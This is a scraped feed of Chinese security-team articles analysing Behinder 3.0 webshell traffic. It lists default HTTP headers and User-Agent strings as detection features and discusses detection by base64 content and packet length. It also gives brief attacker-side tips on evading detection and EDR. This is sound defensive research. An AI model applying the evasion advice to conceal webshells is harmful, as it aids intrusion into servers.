等线;font-weight: normal;margin-top: 16.8pt;margin-bottom: 13.2pt;background: rgb(255, 255, 255);"><span style="font-size:16.0pt;font-family:FangSong_GB2312;color:#444444;mso-font-kerning:0.0pt;font-weight:bold;">3.1.HTTP头</span><span style="font-size:16.0pt;font-family:FangSong_GB2312;color:#444444;mso-font-kerning:0.0pt;font-weight:bold;"></span></p><p style="margin-top: 0pt;text-align: justify;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 14.8pt;background: rgb(255, 255, 255);"><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;mso-font-kerning:0.0pt;">代码中默认的HTTP头部（其他语言通用）。<br/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;mso-font-kerning:0.0pt;text-underline:none;text-decoration:none;"><img data-ratio="0.09779179810725552" style="width: 553.73px;height: 54.07px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1902" src="https://wechat2rss.xlab.app/img-proxy/?k=3f321ff1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc126UPb4EQgvHbjmywY4dU7Fgics3nzMNzO4HCjiafcP2eia7ozDjibicdTuiag%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;mso-font-kerning:0.0pt;"></span></p><table border="1" cellspacing="0" cellpadding="0" width="723" style="margin-left: 0px;border-width: initial;border-style: none;border-color: initial;border-collapse: collapse;width: 100%;"><tbody><tr><td width="801" valign="top" style="width:490.25pt;background:transparent;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.6pt 11.25pt 3.6pt 12.0pt;"><p style=""><span style="font-size:11.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;">Accept：text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9</span><span style="font-size:16.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;"><br/></span><span style="font-size:11.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;">Accept-Language：zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7</span><span style="font-size:16.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;"><br/></span><span style="font-size:11.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;">Content-Type：text/html;charset=utf-8</span><span style="font-size:16.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;"></span></p></td></tr></tbody></table><p style="margin-top: 0pt;text-align: justify;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 14.8pt;background: rgb(255, 255, 255);"><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;mso-font-kerning:0.0pt;">其中Content-Type为php才用的。<br/>User-Agent字段随机，如下图<br/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;mso-font-kerning:0.0pt;text-underline:none;text-decoration:none;"><img data-ratio="0.12453300124533001" style="width: 553.73px;height: 69px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1606" src="https://wechat2rss.xlab.app/img-proxy/?k=38fb4c44&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc122uICQ233nBxnib6ycoyjIu3C97GSoiaoSTmf293hqFo0AgpaWHsVS7JA%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;mso-font-kerning:0.0pt;"></span></p><table border="1" cellspacing="0" cellpadding="0" width="723" style="margin-left: 0px;border-width: initial;border-style: none;border-color: initial;border-collapse: collapse;width: 100%;"><tbody><tr><td width="723" valign="top" style="width:484.4pt;background:transparent;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.6pt 11.25pt 3.6pt 12.0pt;"><p style=""><span style="font-size:11.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;">Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36</span><span style="font-size:16.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;"><br/></span><span style="font-size:11.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;">Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15</span><span style="font-size:16.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;"><br/></span><span style="font-size:11.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;">Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36</span><span style="font-size:16.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;"><br/></span><span style="font-size:11.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;">Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36</span><span style="font-size:16.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;"><br/></span><span style="font-size:11.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;">Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36</span><span style="font-size:16.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;"><br/></span><span style="font-size:11.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;">Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36</span><span style="font-size:16.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;"><br/></span><span style="font-size:11.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;">Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36</span><span style="font-size:16.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;"><br/></span><span style="font-size:11.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;">Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/84.0.4147.122 Mobile/15E148 Safari/604.1</span><span style="font-size:16.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;"><br/></span><span style="font-size:11.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;">Mozilla/5.0 (iPad; CPU OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/84.0.4147.122 Mobile/15E148 Safari/604.1</span><span style="font-size:16.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;"><br/></span><span style="font-size:11.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;">Mozilla/5.0 (iPod; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/84.0.4147.122 Mobile/15E148 Safari/604.1</span><span style="font-size:16.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;"><br/></span><span style="font-size:11.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;">Mozilla/5.0 (Linux; Android 10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Mobile Safari/537.36</span><span style="font-size:16.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;"><br/></span><span style="font-size:11.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;">Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36</span><span style="font-size:16.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;"><br/></span><span style="font-size:11.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;">Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/84.0.4147.122 Mobile/15E148 Safari/604.1</span><span style="font-size:16.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;"><br/></span><span style="font-size:11.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;">Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0</span><span style="font-size:16.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;"><br/></span><span style="font-size:11.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;">Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0</span><span style="font-size:16.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;"><br/></span><span style="font-size:11.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;">Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0</span><span style="font-size:16.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;"><br/></span><span style="font-size:11.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;">Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0</span><span style="font-size:16.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;"><br/></span><span style="font-size:11.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;">Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0</span><span style="font-size:16.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;"><br/></span><span style="font-size:11.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;">Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0</span><span style="font-size:16.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;"><br/></span><span style="font-size:11.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;">Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0</span><span style="font-size:16.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;"><br/></span><span style="font-size:11.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;">Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)</span><span style="font-size:16.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;"><br/></span><span style="font-size:11.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;">Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)</span><span style="font-size:16.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;"><br/></span><span style="font-size:11.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;">Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko</span><span style="font-size:16.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;"><br/></span><span style="font-size:11.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;">Mozilla/5.0 (Windows NT 6.2; Trident/7.0; rv:11.0) like Gecko</span><span style="font-size:16.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;"><br/></span><span style="font-size:11.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;">Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko</span><span style="font-size:16.0pt;font-family:FangSong_GB2312;mso-font-kerning:0.0pt;"></span></p></td></tr></tbody></table><p style="margin-top: 0pt;text-align: justify;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 14.8pt;background: rgb(255, 255, 255);"><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;mso-font-kerning:0.0pt;">比beta2.0多出一些移动终端的user-agent头部。部分旧的user-agent被替换。</span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;mso-font-kerning:0.0pt;"></span></p><p style="margin-top: 0pt;text-align: justify;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 14.8pt;background: rgb(255, 255, 255);"><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;mso-font-kerning:0.0pt;"><br/></span></p><section style="white-space: normal;line-height: 25.6px;box-sizing: border-box;background-color: rgb(255, 255, 255);"><section style="box-sizing: border-box;"><section style="margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;"><section style="padding: 2px;display: inline-block;box-sizing: border-box;background-color: rgb(0, 0, 0);"><section style="margin-right: 5px;padding-right: 8px;padding-left: 8px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">4</span></section></section><span style="color: rgb(255, 255, 255);"><span style="font-size: 20px;">小结 </span></span></section></section></section></section><p style="margin-top: 0pt;text-align: justify;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 14.8pt;background: rgb(255, 255, 255);"><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;mso-font-kerning:0.0pt;">beta3版本比beta2版本加入了随机字符串（替换了UUID），以使认证数据包和响应数据以及获取基本信息的数据包长度不固定导致无法通过长度去快速检测。但是后续执行命令等操作没有加入随机字符串（不要被作者看到），也可以通过检测一些常见命令如whoami，id等，不过由于数据包出现位置不固定，可能导致检测量较大。</span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;mso-font-kerning:0.0pt;"></span></p><p style="margin-top: 0pt;text-align: justify;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 14.8pt;background: rgb(255, 255, 255);"><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;mso-font-kerning:0.0pt;">目前只有使用一些默认的HTTP头部进检测，但存在一定误报。这些头部都可以通过逆向方式进行修改逃避检测，具有加大局限性。因此加上对内容进行判断是否均为base64编码字串集能降低部分误报。所以结合web日志的url请求记录通过统计分析方式可以进行进一步降低误报。</span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;mso-font-kerning:0.0pt;"></span></p><p style="margin-top: 0pt;text-align: justify;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 14.8pt;background: rgb(255, 255, 255);"><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;mso-font-kerning:0.0pt;">由于使用AES的CBC模式，因此生成一些常见密码的加密数据作为特征也能匹配，不过太片面和鸡肋。</span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;mso-font-kerning:0.0pt;"></span></p><p style="margin-top: 0pt;text-align: justify;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 14.8pt;background: rgb(255, 255, 255);"><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;mso-font-kerning:0.0pt;">题外话；对于攻击方就很容易修改了，算法、请求头、优先使用https等太多点可以规避检测了，webshell再做一次加密规避edr类设备就更好了。由于这些都是java程序可以反编译，因此重复造轮子copy的难度极低，这样可以实现定制化，甚至中间人改包都可以。</span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;mso-font-kerning:0.0pt;"></span></p><p style="margin-top: 0pt;text-align: justify;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 14.8pt;background: rgb(255, 255, 255);"><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;mso-font-kerning:0.0pt;"><br/></span></p><blockquote style="margin-top: 5px;margin-bottom: 5px;padding-top: 5px;padding-right: 10px;padding-bottom: 5px;border-width: 0px;border-style: none;border-color: initial;color: rgb(51, 51, 51);line-height: 24px;font-size: 14px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;font-family: 微软雅黑;background-color: rgb(241, 241, 241);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(12, 137, 24);box-sizing: border-box !important;overflow-wrap: break-word !important;">版权声明：</span></strong></blockquote><p style="margin-top: 5px;margin-bottom: 5px;padding: 5px 10px;max-width: 100%;min-height: 1em;letter-spacing: 0.544px;white-space: normal;color: rgb(62, 62, 62);font-family: 微软雅黑;font-size: 14px;line-height: 24px;border-width: 0px;border-style: initial;border-color: initial;background-color: rgb(241, 241, 241);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(102, 102, 102);box-sizing: border-box !important;overflow-wrap: break-word !important;">本文由<strong style="color: rgb(62, 62, 62);letter-spacing: 0.544px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(102, 102, 102);box-sizing: border-box !important;overflow-wrap: break-word !important;">团队成员</span></strong>AI@MS509原创，转载请注明来源</span></strong></p><section style="max-width: 100%;box-sizing: border-box;line-height: 25.6px;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin-top: 10px;margin-bottom: 10px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="padding-right: 1em;padding-left: 1em;max-width: 100%;box-sizing: border-box;display: inline-block;text-align: center;overflow-wrap: break-word !important;"><span style="padding: 0.3em 0.5em;max-width: 100%;box-sizing: border-box;display: inline-block;border-radius: 0.5em;font-size: 14.08px;color: rgb(255, 255, 255);background-color: rgb(24, 141, 42);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">MS509简介：</span></section></span> </section><section style="margin-top: -1em;padding: 20px 10px 10px;max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgb(192, 200, 209);text-align: center;background-color: rgb(239, 239, 239);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;text-align: left;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 24px;white-space: pre-wrap;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span><em style="white-space: normal;"><em><em style="max-width: 100%;color: rgb(62, 62, 62);font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 24px;white-space: pre-wrap;box-sizing: border-box !important;overflow-wrap: break-word !important;">MS509是中国电子科技网络信息安全有限公司（简称“中国网安”）旗下从事安全漏洞挖掘及利用方法研究的纯技术研究团队，研究方向包括WEB安全、红蓝对抗、移动安全、逆向分析、二进制安全、智能硬件（IOT）安全、工控安全、无线安全、APT攻击追踪溯源、安全编程等。</span></em></em></em></em><strong style="max-width: 100%;line-height: 24px;white-space: pre-wrap;box-sizing: border-box !important;overflow-wrap: break-word !important;"></strong></em><span style="max-width: 100%;color: rgb(255, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">更多团队动态，尽在博客www.ms509.com；微博搜索 MS509。</strong></em></em></span></section><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(255, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">加入我们：<a href="https://www.ms509.com/contact/" target="_blank">https://www.ms509.com/contact/</a></strong></em></em></span></section></section></section></section></section></section></section></section><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><section style="max-width: 100%;line-height: 25.6px;border-width: 0px;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;text-align: center;border-width: 0px;border-style: solid;border-color: rgb(0, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;display: inline-block;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;width: 21em;border-width: 0px;border-style: solid;border-color: rgb(0, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="__bg_gif" data-ratio="0.532" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: auto !important;" data-type="gif" data-w="500" width="auto" src="https://wechat2rss.xlab.app/img-proxy/?k=f64bf6ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD3Wj7oTjFmiaDo7D4jQgfeIPmdz4nc0ndM0T4dvLW5NpN7vzZs7eUsDzJQ38oWic3ickec4N848AicAvQ%2F640%3Fwx_fmt%3Dgif"/></section><section style="margin-top: -10.5em;margin-left: 0.8em;max-width: 100%;width: 8em;height: 8em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img data-ratio="1" data-s="300,640" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: auto !important;" data-type="jpeg" data-w="258" src="https://wechat2rss.xlab.app/img-proxy/?k=9b636feb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD3Wj7oTjFmiaDo7D4jQgfeIP3WSctzWffhLdFjx0W28oHbAQiaqtW7zYu7kGO75vdZZT69TR7iapNpNw%2F640%3Fwx_fmt%3Djpeg"/><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section></section></section></section><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="white-space: normal;max-width: 100%;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p><br/></p><section data-ele="" style="white-space: normal;max-width: 100%;line-height: 25.6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-ele="" style="max-width: 100%;border-width: 0px;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="max-width: 100%;overflow-wrap: break-word;min-height: 1.5em;font-size: 15.5556px;line-height: 2em;word-break: normal;border-radius: 5px;color: rgb(255, 255, 255);text-align: center;background-color: rgb(89, 150, 235);box-sizing: border-box !important;"><span style="max-width: 100%;color: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">↓↓↓ 点击&#34;阅读原文&#34; 【查看更多信息】  </span></p></section></section></section>



<p><a href="https://www.ms509.com/2020/08/20/Behinder3-0-Beta3-PHP/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=939b5164&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAwODgxNTA2NA%3D%3D%26mid%3D2650935805%26idx%3D1%26sn%3D2cbf8c1e0138f801d92ffbaa44015c52%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 20 Aug 2020 16:21:00 +0800</pubDate>
    </item>
    <item>
      <title>冰蝎3.0-分析系列 1-beta2-php</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAwODgxNTA2NA==&amp;mid=2650935805&amp;idx=2&amp;sn=c455e366f3d387c00b3efdf183020262</link>
      <description>本文主要针对冰蝎3.0beta2版本在php环境下进行分析。分析内容包括：建立连接开始过程以及可能特征分析提取。</description>
      <content:encoded><![CDATA[<p>
原创 <span>AI</span> <span>2020-08-20 16:21</span> <span style="display: inline-block;"></span>
</p>

<p>本文主要针对冰蝎3.0beta2版本在php环境下进行分析。分析内容包括：建立连接开始过程以及可能特征分析提取。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=9d6a6460&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc126yQOJ8icPBGb5zRNGG8U7oMEKLLQkqcIXsiadBOgmbXkWag7q7UwibOIg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="white-space: normal;"><img class="__bg_gif" data-ratio="0.11875" style="font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;line-height: 25.6px;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;width: 640px !important;visibility: visible !important;" data-type="gif" data-w="640" title="1444706553487851.gif" src="https://wechat2rss.xlab.app/img-proxy/?k=1e1426cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FjKzAUW2rMBwxibGWwbR9NTzicF72uArHzAW1ibKdMA8BUoTSUwE4M37diacWVMETWetDDemg6wh2D1GNLTGWybYV7g%2F640%3Fwx_fmt%3Dgif"/></p><section style="white-space: normal;max-width: 100%;box-sizing: border-box;line-height: 25.6px;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin-top: 10px;margin-bottom: 10px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="padding-right: 1em;padding-left: 1em;max-width: 100%;box-sizing: border-box;display: inline-block;text-align: center;overflow-wrap: break-word !important;"><span style="padding: 0.3em 0.5em;max-width: 100%;box-sizing: border-box;display: inline-block;border-radius: 0.5em;font-size: 14.08px;color: rgb(255, 255, 255);background-color: rgb(24, 141, 42);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">文章目录</span></section></span> </section><section style="margin-top: -1em;padding: 20px 10px 10px;max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgb(192, 200, 209);text-align: center;background-color: rgb(239, 239, 239);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;text-align: left;overflow-wrap: break-word !important;"><ol class="list-paddingleft-2" style="margin: 0.5em;width: 577.422px;line-height: 1.8em;"><li style="list-style-type: none;"><p>1. 前言</p></li><li style="list-style-type: none;"><p>2. PHP-webshell分析</p></li><ol class="list-paddingleft-2" style="margin-left: 1em;list-style-type: lower-alpha;"><li style="list-style-type: none;"><p>2.1. 错误密码通信过程</p></li><li style="list-style-type: none;"><p>2.2. 正确密码通信过程</p></li></ol><li style="list-style-type: none;"><p>3. 特征分析</p></li><ol class="list-paddingleft-2" style="margin-left: 1em;list-style-type: lower-alpha;"><li style="list-style-type: none;"><p>3.1. HTTP头部特征</p></li><li style="list-style-type: none;"><p>3.2. 数据包长度</p></li></ol><li style="list-style-type: none;"><p>4. 小结</p></li></ol></section></section></section></section></section></section></section><p style="margin-bottom: 1.234em;white-space: normal;word-break: break-word;overflow-wrap: break-word;"><br/></p><section style="white-space: normal;line-height: 25.6px;box-sizing: border-box;background-color: rgb(255, 255, 255);"><section style="box-sizing: border-box;"><section style="margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;"><section style="padding: 2px;display: inline-block;box-sizing: border-box;background-color: rgb(0, 0, 0);"><section style="margin-right: 5px;padding-right: 8px;padding-left: 8px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">1</span></section></section><section style="padding-right: 5px;padding-left: 5px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;"><section style="box-sizing: border-box;"><span style="font-size: 